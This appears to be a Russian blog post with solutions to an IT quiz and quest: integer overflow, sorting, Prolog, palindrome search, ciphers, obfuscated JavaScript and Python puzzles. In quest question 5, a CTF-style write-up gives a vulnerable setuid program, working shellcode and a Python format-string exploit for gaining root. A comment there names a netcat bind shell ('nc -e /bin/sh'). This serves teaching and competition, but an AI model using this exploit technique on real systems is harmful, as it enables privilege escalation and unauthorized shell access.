- Место под локальные переменные выделяется во время инициализации.
- Без инициализации в переменной будет храниться неопределенное значение.
- В инициализации нет смысла.
- Инициализация упрощает процесс компиляции.
При объявлении локальной переменной в языке C для неё выделяется некоторое место на стеке. Если переменную не инициализировать некоторым значением, в ней будут храниться те данные, которые до этого лежали в этом месте стека, поэтому без инициализации мы не можем точно предсказать, что конкретно будет храниться в данной переменной.
Вопрос 10
Проинициализируйте переменнyю i таким образом, чтобы распечаталось слово.
int i=???;
int j = -i;
if (i >= 0)
exit(0);
if (j >=0)
exit(0);
puts("hello");
Ответ запишите в виде 0x12345678.
Комментарий:
В данном задании, казалось бы, распечатать слово hello невозможно, так как для этого i должно удовлетворять условиям i < 0 и -i < 0, то есть число должно быть сразу же и положительным и отрицательным. i представлено в виде знакового целого 32-битного числа (int), которое, как известно, на большинстве архитектур хранится и используется в дополнительном коде.
Для дополнительного кода существует правило преобразования числа в число, обратное по знаку, а именно, ~(А-1), где А - представление некоторого числа в дополнительном коде, "~" - операция инверсии битов. int принимает значения из отрезка [-2^31, 2^31-1], из которого особый интерес вызывает число -2^31, так в данном отрезке нет числа -(-2^31). Найдем -(-2^31) по правилам дополнительных кодов.
-2^31 = 1000 0000 0000 0000 0000 0000 0000 00002
-2^31 - 1 = 0111 1111 1111 1111 1111 1111 1111 11112
-(-2^31) = ~(-2^31 - 1) = 1000 0000 0000 0000 0000 0000 0000 00002 = -2^31
Значит, если взять i = -2^31, то благодаря особенностям вычислений в дополнительных кодах j = -i = -2^31, а значит, i < 0 и j < 0, следовательно, в данном коде благополучно будут пройдены проверки, и на stdout выведется слово "hello". Ответом на задание является запись i в 16-ричном виде, то есть 0x80000000.
Вопрос 11
Какие структуры данных чаще всего используются при представлении следующих моделей?
Даны модели:
- Словарь с элементами «Строковое имя - значение»
- Зависимости RPM-пакетов
- Иерархическая модель данных
- Числовая матрица
- Дерево
- Массив
- Граф
- Ассоциативный массив
Числовую матрицу чаще всего представляют в виде двумерного массива.
Словарь очень удобно хранить в ассоциативных массивах, чтобы иметь быстрый доступ к элементам по ключу.
Иерархическая модель данных имеет структуру дерева.
В RPM-пакетах имеют место быть циклические зависимости, поэтому зависимости RPM пакетов удобно представлять в виде графов.
Вопрос 12
Приведены три листинга алгоритмов сортировки. Опознайте их.
Вариант1
void sortOne(int n, int[] a)
{
int i, j;
for(i = 0 ; i < n ; i++)
for(j = 0 ; j < n - i - 1 ; j++) {
if(a[j] > a[j+1]) {
int tmp = a[j];
a[j] = a[j+i];
a[j+1] = tmp;
}
}
}
Вариант2
public static void sortTwo(int[] A, int low, int high) {
int i = low;
int j = high;
int x = A[(low+high)/2];
do {
while(A[i] < x) ++i;
while(A[j] > x) --j;
if(i <= j){
int temp = A[i];
A[i] = A[j];
A[j] = temp;
i++; j--;
}
} while(i < j);
if(low < j) sortTwo(A, low, j);
if(i < high) sortTwo(A, i, high);
}
Вариант3
Var A,B : array[1..1000] of integer;
function sortThree (N : integer)
var
i,j : integer;
for i:=1 to N do
begin
j:=i;
while (j>1) and (B[j-1]>A[i]) do
begin
B[j]:=B[j-1];
j:=j-1;
end;
B[j]:=A[i];
end;
Методы сортировки:
- Сортировка методом пузырька
- Сортировка вставками
- Быстрая сортировка
Вопрос 13
Укажите результат выполнения следующего запроса на Прологе:
-? author(X, Y), derivedFrom(Y, unix)
для программы:
author(dijkstra, algol).
author(ritchie, unix).
author(wirth, pascal).
author(kernighan, awk).
author(backus, fortran).
author(kernighan, unix) .
author(backus, algol) .
author(kernighan, awk).
author(ritchie, plan9).
author(ritchie, c).
author(torvalds, linux).
author(corbato, multics).
author(aho, awk).
author(thompson, c).
author(straustrup, cpp).
author(hubbard, freebsd).
basedOn(linux, unix).
basedOn(pascal, algol).
basedOn(plan9, unix).
basedOn(unix, multics).
basedOn(awk, c).
basedOn(inferno, plan9).
basedOn(limbo, c).
basedOn(cpp, c).
basedOn(freebsd, c).
basedOn(openbsd, freebsd).
derivedFrom(X, Y) :- basedOn(X, Y).
derivedFrom(X, Z) :- basedOn(X, Y), basedOn(Y, Z).
- (ritchie, kernighan)
- X = ritchie, Y = plan9; X = torvalds, Y = linux;
- X = plan9, Y = ritchie; X = torvalds, Y = linux;
- (torvalds, linux)
- X = ritchie
- X = ritchie, Y = kernighan;
- WARNING! X, Y :- NOT DEFINED
Пролог - язык логического программирования. Данная парадигма почти не используется на данной момент, однако сама идея очень интересна своей необычностью. В данном задании был приведен совсем простой пример программы на прологе. Эта программа определяет некоторый набор так называемых "фактов". author - факт создания человеком некоторой сущности, а basedOn - факт исторической зависимости между сущностями. Например: факт author(thompson, c) показывает то, что thompson является автором языка С, а факт basedOn(cpp, c) показывает, что язык С++ многое перенял от языка С. Также определено правило вывода derivedFrom(X, Y) - "X произошло из Y или X произошло от Z, которое произошло от Y". Запрос author(X, Y), derivedFrom(Y, unix) можно сформулировать на русском языке как "X создал Y, а Y произошел от unix", и этот запрос выведет авторов систем производных от unix и имена этих систем. То есть, при условии заданных фактов, этот вопрос выведет "X = ritchie, Y = plan9; X = torvalds, Y = linux;"
Вопрос 14
Есть два текста. Посчитайте количество общих слов в этих двух текстах.
Комментарий: В задании требуется всего лишь найти количество общих слов любым доступным способом. Проблема этого задания - то что тексты даны на греческом языке. К примеру, на Python эта задача легко решается с помощью модуля regex и выражения "(\p{Greek}+)". В этом задании мы принимали числа в интервале +-50 от нашего ответа.
Вопрос 15
Вам дан словарь английского языка.
Необходимо составить из имеющихся слов палиндром длинной не менее 1000 символов, в котором каждое слово встречается один раз.
Ответ принимается в виде последовательности слов, разделенных пробелом
Комментарий:
Идея решения: ищем результат в виде left center right, где center - симметричное слово, left - последовательность слов, а right - побуквенное зеркальное отражение left и тоже последовательность слов. Т.е. по сути, надо научиться находить такие последовательности слов, которые при переворачивании тоже становились последовательностью слов. Далее такие последовательности вместе с отражениями будут называться зеркальными парами.
А теперь самое главное - имея две такие не пересекающиеся зеркальные пары (left1, right1) и (left2, right2), можно составить более длинный палиндром: left1 left2 center right2 right1. Технику можно применять несколько раз. Т.е., если научиться массово искать зеркальные пары, то можно из них всех построить очень длинный палиндром.
Исходный словарь надо профильтровать. А именно: выбросить слова, которые, если их перевернуть, не могут быть частью последовательности букв, составляющих одно или несколько склеенных словарных слов. См. функцию middleable.
def tailable(phrase, dontuse=()):
if not phrase:
return True, ()
if phrase in wordtails:
if validword(phrase, dontuse):
return True, (phrase,)
return False, (phrase,)
for i in xrange(1, len(phrase) - 1):
head = phrase[:i]
tail = phrase[i:]
if validword(tail, dontuse):
full, tailres = tailable(head, dontuse + (tail,))
if tailres is not None:
return full, tailres + (tail,)
return False, None
def middleable(phrase):
for i in xrange(len(phrase) + 1):
head = phrase[:i]
tail = phrase[i:]
if tail == "" or tail in wordheads:
full, headsplit = tailable(head)
if headsplit is not None:
return headsplit + (tail,)
return None
Аналогично, с помощью функции middleable, для каждого словарного слова можно построить список допустимых продолжений. Действительно, если слово склеить с продолжением и перевернуть, то может оказаться так, что получившаяся последовательность букв не может встретиться в последовательности словарных слов.
Итак, идея алгоритма:
Используем стек, первоначально содержащий один элемент (пустую последовательность). На каждом этапе снимаем префикс (последовательность слов) со стека и продолжаем всеми возможными способами. Переворачиваем дополненный префикс, пытаемся разбить на кусок-суффикс и целые слова. Если это невозможно - переходим к следующему продолжению префикса. Если возможно, и при этом в начале получилось целое слово - ура, мы сделали зеркальную пару (left, right), запоминаем ее, помечаем слова как использованные и переходим к следующему продолжению. Если в начале получилось не целое слово - добавляем дополненный префикс в стек.
Порядок проб важен. Если какое-то слово помечено как использованное, алгоритм проглядит более длинные куски, содержащие его. Чтобы как-то нейтрализовать этот эффект, можно вставить в программу вызов random.shuffle() и запустить ее несколько раз. Еще, оказывается, полезно браковать слишком короткие зеркальные пары, чтобы они не съедали слова слишком рано. Они все равно найдутся как приписка к другим парам.
Вопрос 16
Вам дан файл с шифрованным текстом очень известного произведения.
Назовите год рождения автора в формате ГГГГ.
Комментарий:
В качестве задания был предложен отрывок из романа "Мертвые души" Николая Васильевича Гоголя, зашифрованный простым аффинным шифром, который, как известно, легко взламывается с помощью частотного анализа.
КВЕСТ - РАЗРАБОТЧИКИ
Вопрос 1
Вы прибыли в Грецию на Первые Айтишные Олимпийские Игры.Небольшая разминка.В гите лежит программа, которая дает ответ на это задание. Найдите его.
Комментарий:
В данном репозитории приведен код на ассемблере для x86_64 под Linux, который выводит на stdout фразу, явно намекающую на то, что данный код приведен для отвода глаз. В самом коде нет никакой магии. Здесь используются стандартные syscall`ы linux, а блок magic является дизассемблированным байтовым представлением строки "Ooops! It is a wrong way!\n". Места, в которых после дизассемблирования появлялись команды jump, были заменены на их обычное байтовое представление, чтобы гарантировать однозначную компиляцию на различных платформах.
Следует заметить, что в основной ветке находится целых 17 коммитов, к которым прикреплены странные сообщения. Эти сообщения, записанные в обратном порядке, являются ни чем иным, как кодом на Perl, который после запуска выводит ответ.
Вопрос 2
Служащий аэропорта просит вас о помощи.Он скачал непонятный файл. Помогите ему разобраться с этим файлом и найдите ответ на это задание.
Ответ является числом и будет дан в явной форме.
Комментарий:
В данном вопросе дана bmp-картинка. Обратите внимание на подсказку. "Это не spoon"! Мальчик явно лжет! Spoon - название одного из диалектов brainfuck, особенностью которого является то, что команды задаются с помощью нулей и единиц. Взяв бинарный вид файла и преобразовав его в строку из нулей и единиц, можно скормить получившийся код в любой интерпретатор spoon, который выведет ответ.
Вопрос 3
По дороге из аэропорта вы решаете почитать новости в интернете, но обнаруживаете, что кто-то пошутил над вами и заблокировал ноутбук.Теперь там отображается лишь эта страница. Вам необходимо подобрать пароль.
Вы неплохо разбираетесь в Javascript, поэтому знаете, откуда начать поиск.
Комментарий:
В исходном коде страницы с вопросом можно увидеть, что подключен скрипт с говорящим название "lock.js".
В файле находится base64-кодированный исходный код, который раскодируется в рантайме и исполняется.
Необходимо раскодировать код руками, после чего будет получен минифицированный js.
Для того чтобы понять, что в нем происходит, достаточно переформатировать его при помощи, например, http://lisperator.net/uglifyjs/.
После этого можно понять, что большую часть скрипта занимает разная математика (если погуглить, можно понять что это shaXXX кодирование) и совсем немного интерисного кода.
Легко зацепиться за переменную konkurs_user_id, либо сразу найти переопределение браузерного объекта Audio.
Если посмотреть в браузерной консоли на этот объект, то будет видно 2 метода: google&facebook. Выполнение первого из них приведет к ошибке, второй метод выведет правильный ответ. ( Audio().facebook() )
Далее в исходном коде страницы можно увидеть скрытый input с name="answer". Сделав его видимым или любым другим способом вставив в него правильный ответ после отправки формы, вопрос будет засчитан.
Вопрос 4
Добравшись до центра города, вы останавливаетесь в маленьком уютном кафе пообедать. Обед - удачное время для небольшой тренировки.
Головоломкой со спичками называется задание такого вида.
Дано исходное расположение спичек, которое представляет собой верное или неверное равенство одного из следующих видов A+B=C, A-B=C, A=B+C, A=B-C, где A, B и C - это цифры, сложенные из спичек.
Требуется, переложив ровно одну спичку на другое место, получить верное равенство одного из допустимых видов. Спички убирать нельзя!
Сколько существует различных головоломок со спичками, имеющих хотя бы одно решение. Расположение спичек в цифрах и знаках должно соответствовать эталону.
Комментарий:
Задание достаточно просто решается перебором. По сути, алгоритм представляет формальную запись действий, которые мы бы попытались произвести руками: переберем все возможные равенства (верные или не верные), для каждого из них будем решать следующую задачу - будем подряд рассматривать каждый символ.
Посмотрим, возможно ли из него убрать спичку так, чтобы получился валидный символ (если таких несколько переберем все). Затем попытаемся положить спичку в другое место, так чтобы получился валидный символ (и опять, если их несколько, переберем все). Далее проверим равенство на корректность и уточним один момент - не положили ли мы спичку на то место, с которого взяли. Если одно равенство не корректно, тогда опять рассмотрим каждый символ в выражении и попробуем спичку переложить в пределах одного символа. Это не было проверено на предыдущем шаге, так как после удалении спички символа мы требовали, чтобы на месте остался валидный символ. Далее опять совершим проверку выражения на корректность.
Пример решения:
remove_to = {
0: [],
1: [],
2: [],
3: [],
4: [],
5: [],
6: [5],
7: [1],
8: [0, 6, 9],
9: [3, 5],
"+": ["-"],
"-": [],
"=": ["-"],
}
add_to = {
0: [8],
1: [7],
2: [],
3: [9],
4: [],
5: [6,9],
6: [8],
7: [],
8: [],
9: [8],
"+": [],
"-": ["+", "="],
"=": [],
}
shift_to = {
0: [6, 9],
1: [],
2: [3],
3: [2, 5],
4: [],
5: [3],
6: [9, 0],
7: [],
8: [],
9: [6, 0],
"+": ["="],
"-": [],
"=": ["+"],
}
operators = ["+", "-", "="]
def correct(expression):
a, o1, b, o2, c = expression
if o1 == o2:
return False
if "=" not in [o1, o2]:
return False
if o1 == "=":
o1, o2 = o2, o1
a, b, c = b, c, a
if o1 == "+" and a + b == c:
return True
if o1 == "-" and a - b == c:
return True
return False
def shift_match(expression):
for i in xrange(5):
for x in shift_to[expression[i]]:
exp = copy(expression)
exp[i] = x
if correct(exp):
return True
return False
def add_match(expression, original_expression):
for i in xrange(5):
for x in add_to[expression[i]]:
exp = copy(expression)
exp[i] = x
if correct(exp) and exp != original_expression:
return True
return False
def remove_add_match(expression):
for i in xrange(5):
for x in remove_to[expression[i]]:
exp = copy(expression)
exp[i] = x
if add_match(exp, expression):
return True
return False
answer = 0
for a in xrange(10):
for o1 in operators:
for b in xrange(10):
for o2 in operators:
if o1 == o2:
continue
if "=" not in [o1, o2]:
continue
for c in xrange(10):
expression = [a, o1, b, o2, c]
if remove_add_match(expression) or shift_match(expression):
answer += 1
print answer
Вопрос 5
В кафе вам на столик кто-то подбросил записку, в которой указал адрес дома в Афинах.Прибыв туда, вы обнаружили, что дверь закрыта. Замок подключен к терминалу, который по всей видимости отвечает за управление замка. Для того, чтобы открыть дверь, нужно запустить правильную программу.
Кроме того, над терминалом висит табличка с надписью: "Вы можете отправить шифрованное сообщение хозяину через программу /home/user/crypto".
Вам кажется, что с программой что-то не то. Разберитесь и откройте дверь!
Подсказка! Согласно древним традициям, греки хранят такие программы в /root.
Комментарий:
В задании предлагалось дизассемблировать и изучить программу crypto, которая является суидным рутовым бинарником, для которого, в числе прочего, доступен для исполнения стек (рандомизация стека в системе отключена). Исходный код crypto выглядел следующим образом:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFFER_SIZE 256
void encrypt(char *buf, int count) {
int i;
for (i = 0; i < count; i++) {
buf[i] = ( (buf[i] | 0x80) & ( (~buf[i]) | ~(0x80) ) );
}
}
int main() {
char buf[BUFFER_SIZE];
int len;
char *newline_pos;
FILE *out_file;
puts("Enter the text to be encrypted: ");
read(0, buf, BUFFER_SIZE-1);
buf[BUFFER_SIZE-1] = '\0';
newline_pos = strchr(buf, '\n');
if (newline_pos) {
*newline_pos = '\0';
}
len = strlen(buf);
memset(buf+len, 0, BUFFER_SIZE-len);
encrypt(buf, len);
out_file = fopen("encrypted", "w");
fprintf(out_file, buf);
return 0;
}
Для того что бы запустить программу из папки /root, необходимо добиться повышения привилегий. Рассмотрим код данной программы. Сначала с stdin считывается 255 байт, которые записываются в buf размером 256. Переполнения стека здесь нет. Затем буфер заполняется нулями, начиная с первого нуль-символа или перевода строки. После этого над оставшейся частью выполняется функция encrypt, которая занимается тем, что совершает операцию xor с 0x80 над каждым байтом из буфера. После проделанных операций строка из буфера заботливо складывается в файл с помощью функции fprintf. Этот буфер передается в fprintf как форматная строка, а значит, скорее всего, можно использовать уязвиомсть флрматно строки.
С помощью правильно подобранного буфера возможно переписать любой байт в нашей памяти, куда разрешена запись. Дальше все ясно - перезаписываем адрес возврата из main на buf, в котором располагаем шеллкод. Вредоносный код может быть любого содержания, но в нем не должно быть байтов 0x80, а значит, нельзя использовать int 0x80 (так как после xor на месте байта с 0x80 будет стоять 0, который будет считаться концом буфера). Тут вполне можно обойтись вызовом функций из glibc или командой syscall.
Приведем эксплойт для данного задания, шеллкод которого запускает `/bin/nc -lp8080 -e/bin/sh` через int 0x80
execve_sh.S
xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
push %ebx
mov %esp, %ecx
mov $0xb, %al
int $0x80
shellcode.S
# Данный код в процессе исполнения модифицирует сам себя, для того, что бы организовать вызов int 0x80.
# 0x80 в шеллкоде заменен на 0x7f, начало данного кода инкрементирует этот байт.
_start:
jmp hp
shell:
pop %eax
# Такой подход применен, так как sub организовал бы нулевые байты.
.rept 6
dec %eax
.endr
movl (%eax), %ebx
inc %ebx
mov %ebx, (%eax)
# execve_sh.S
.byte 0x31,0xc0,0x50,0x68,0x2f,0x2f,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x50,0x53,0x89,0xe1,0xb0,0x0b,0xcd,0x7f
hp:
call shell
exploit.py
# coding: utf-8
# Эксплойт принимает как аргумент адрес возврата из main, и генерирует строку, которую необходимо дать на вход crypto.
import sys
from libformatstr import FormatStr
# https://github.com/hellman/libformatstr
# Спасибо Hellman за отличную библиотеку для генерации эксплойтов форматной строки
RUN= """
/root/open_door
"""
BUFFER_SIZE = 255
xor = lambda str: ''.join( [ chr(ord(c)^0x80) for c in str ] )
ret_address_place = int(sys.argv[1], 16)
ret_address = ret_address_place - BUFFER_SIZE + 30
format_str = FormatStr()
format_str[ret_address_place] = ret_address
format_exploit = format_str.payload(4)
shellcode = "\xeb\x2d\x58\x48\x48\x48\x48\x48\x48\x8b\x18\x43\x89\x18\x6a\x0b"
shellcode += "\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x7f\xe8"
shellcode += "\xce\xff\xff\xff"
filler = "\x90" * ( BUFFER_SIZE - len(shellcode) - len(format_exploit) )
sys.stdout.write( xor( format_exploit + filler + shellcode ) + RUN )
Осталось только залить код в JSLinux и подобрать адрес стека. Так, при решении задания автором, работало `python2.6 /tmp/exploit.py 0xbffffdac | /home/user/crypto`
Вопрос 6
Открыв дверь, вы попадаете в темный коридор, в конце которого - очередной терминал. В нем в текущей папке лежит файл smile. Где же ключ?
Комментарий:
Если сделать cat на данный файл, экран начнет мигать, после чего на экране появится смайлик. Задание очень простое: данный файл - набор esc-последовательностей для терминала, а примерно в середине файла находится блок, который выводит ответ и затем тут же затирается. Следует правильно обрезать файл для того, чтобы увидеть ответ. Найти блок легко, так как в основном в файле лежит мусор. Если прогнать файл через hexdump, не сложно найти место, в котором данные явно отличаются от остальных.
Вопрос 7
Пройдя дальше, вы оказываетесь в просторном помещении, заставленном разным оборудованием. Здесь вы находите заблокированный терминал. Чтобы его разблокировать, нужно найти правильный ответ.
Вам дан файл. С его помощью вы сможете найти ответ. Найдите ответ и разблокируйте терминал.
Комментарий: Вам дан файл на Perl, который принимает вход, состоящий из 10 цифр, на основе которых рассчитывается массив @s. Введенные цифры должны быть подобраны таким образом, чтобы @s стал магическим квадратом (http://en.wikipedia.org/wiki/Magic_square). Полученная последовательность является ключом от зашифрованных данных, которые являются ни чем иным, как... кодом на Haskell!
Разберем его. Функция g(f, s, l) возвращает последовательность вида {s, p(s), p(p(s)), ..., p(p(...p(s)...))} из l элементов. s(s) применяет к s перестановку {1, 3, 7, 4, 9, 8, 6, 2, 5, 0}. Функция x(t) принимает последовательность и возвращает строку, состоящую из первых символов элементов последовательности. Функция с(p) сравнивает некоторое значение с x(g(md5, p, 32)), а cc(p) сравнивает другое значение с x(g(s, p, 10)). Функция e(t) возвращает строку t, сконкатенированную с перевернутым t. В c(p) отправляются первые e(5 символов из входа), в cc(p) - e(остаток входа без первых 5 символов). После нахождения правильного pin, на экран выведется подсказка к ответу: "Answer is concatenation of pins!", то есть ответом к заданию будет строка, состоящая из 20 цифр, - конкатенации pin1 и pin2.
Вопрос 8
Вдруг в помещение врывается непонятный человек. Он злится и ругается. Похоже, ему нужна ваша помощь.
Дан код на Python. Без вашей помощи непонятный человек не может в нем разобраться. Внесите изменения в основной класс и получите ответ. Изменения в другие классы могут дать ошибочный ответ.
Комментарий:
Скачав исходный код, можно заметить, что он находится в забавной кодировке rot13.
Скрипт отлично исполняется, но понять, что там происходит затруднительно, поэтому для начала конвертируем код в нормальный utf8.
Просто исполнение скрипта нарисует симпатичный логотип ITStarz.
После прочтения исходного кода, мы увидим, что основной класс содержит метод run.
Выполним метод. К логотипу будет добавлен вывод The Zen of Python.
Понятно, что сам класс ничего не делает и нужно смотреть в метакласс, который меняет поведение класса, если в нем определен атрибут secret. Добавим атрибут и увидим, что мы убили несколько котят :(. Кроме того, заметим подсказку, о том что какой-то метод был задекорирован.
Разобравшись в хитросплетениях декораторов, классов, их наследования и переопределения дефолтных методов будет понятно, что ларчик открывается очень просто. При помощи интроспекции одна из функций проверяет наличие атрибута end, добавление которого дает нам правильный ответ.
Комментариев нет:
Отправить комментарий